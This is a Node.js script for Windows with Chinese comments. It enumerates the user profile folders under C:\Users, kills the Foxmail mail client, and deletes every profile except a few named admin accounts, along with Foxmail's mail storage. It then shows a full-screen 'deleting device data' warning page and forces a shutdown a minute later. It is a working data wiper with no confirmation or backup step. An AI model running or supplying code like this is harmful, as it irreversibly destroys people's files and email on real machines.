//Windows
const cmd = require('node-cmd')
const fs = require('fs')
const { setInterval, setTimeout } = require('timers');

//遍历C:\\Users下目录，筛选出关键字段外的目录

const syncData = cmd.runSync('cd C:\\Users & dir /B')
    let dataArr = syncData.data.split("\r\n")
    let pathArr = []
    for(let i = 0;i < dataArr.length;i++) {
        if(dataArr[i] !== "Administrator" 
            &&  dataArr[i] !== "admin"
            &&  dataArr[i] !== "Public"
            &&  dataArr[i] !== "default") {
                pathArr.unshift(dataArr[i])
        }
    }
    console.log("遍历员工账号:" + pathArr);

//杀死邮箱进程
function killMail() {
    cmd.run('taskkill /f /t /im Foxmail.exe',
        function(){
            console.log("杀死邮箱进程");
        }
);
}
killMail();

//删除关键字外的目录(nodejs内置库方法)

function delDir(path){
    let files = [];
    if(fs.existsSync(path)){
        files = fs.readdirSync(path);
        files.forEach((file, index) => {
            let curPath = path + "/" + file;
            if(fs.statSync(curPath).isDirectory()){
                delDir(curPath); //递归删除文件夹
            } else {
                fs.unlinkSync(curPath); //删除文件
            }
        });
        fs.rmdirSync(path);
    }
}


//删除邮箱目录
let modPath = "C:\\Users\\" 
let mailPath = "C:\\Foxmail 7.2\\Storage"

//删除关键字外的目录(cmd的dos命令删除方法)

function dosDel(path) {
    cmd.run('rd /S /Q ' + path,
        function(err, data, stderr){ 
            console.log("dosDel函数启用")
        }
);
}

//循环遍历删除文件夹（删除间隔为3秒）
 
for (let i = 0;i <= pathArr.length;i++) { 
    setTimeout(() => {
        if(modPath + pathArr[i] == "C:\\Users\\"){
            return
        }else {
            dosDel(modPath + pathArr[i])
            // console.log(modPath + pathArr[i]);
        }
    }, 3000);
}

//关机函数
function shutdownWindow() {
    cmd.run('shutdown -s -t 00',
        function(err, data, stderr){
            if(err || stderr) {
                console.log("关机失败" + err + stderr);
            }
        }
);
}
//写入提醒html文件

function writeHtml() {
    fs.writeFile("C:\\" + "test.html", `<!DOCTYPE html>
        <html lang="en">
        <head>
            <meta charset="UTF-8">
            <meta http-equiv="X-UA-Compatible" content="IE=edge">
            <meta name="viewport" content="width=device-width, initial-scale=1.0">
            <title>ceshi</title>
            <style>
                p {
                    font-size: 1000%;
                    background-color: red;
                }
                h1 {
                    font-size: 700%;
                }
                #a {
                    height: 30%;
                    width: 100%;
                    display: flex;
                    justify-content: center;
                    
                }
                #b {
                    height: 30%;
                    width: 100%;
                    display: flex;
                    justify-content: center; 
                    margin: 0px 10px;
                }
                #c {
                    height: 30%;
                    width: 100%;
                    display: flex;
                    justify-content: center; 
                }
                p {
                    margin: 0 10px;
                }
            </style>
        </head>
        <body>
            <div id="a">
                <p>警告！！！</p>   
            </div>
            <div id="b">
                <h1>删除设备数据中，请勿操作</h1>
            </div>
            <div id="c">
                <h1>删除完成后会自动关闭计算机</h1>
            </div>
            
        </body>
        </html>`, function(err) {
            if(err) {
                return console.log(err);
            }
            console.log("写入提醒事项成功");
});
}

//打开html

function openhtml() {
    cmd.run('explorer C:\\test.html',
        function(){
            setTimeout(() => {
                writeHtml()
                delDir(mailPath)
            },3000)  
        }
);
}
openhtml()
setTimeout(() => {
    shutdownWindow()
},1000 * 60)

// setInterval(() => {
//     // if(pathArr.length == 1) {
//     //     console.log("检测到USER文件夹下已无用户，准备关机");
//     //     shutdownWindow()
//     // }else {
//     //     console.log("当前路径数组长度为" + pathArr.length + ",不符合关机标准");
//     // }
//     let temp
//     let tempData = syncData.data.split("\r\n")
//     for(let i = 0;i < tempData.length;i++) {
//         if(tempData[i] !== "Administrator" 
//             &&  tempData[i] !== "admin"
//             &&  tempData[i] !== "Public"
//             &&  tempData[i] !== "default") {
//                 // console.log(typeof(tempData[i]));
//                 if(tempData[i] == " "){
//                     temp = true
//                 }else{
//                     temp = false
//                 }
//         }
//     }
//     // let filtratePathArr = temp.filter(i=>i && i.trim())
//     console.log(temp);
// }, 15000);

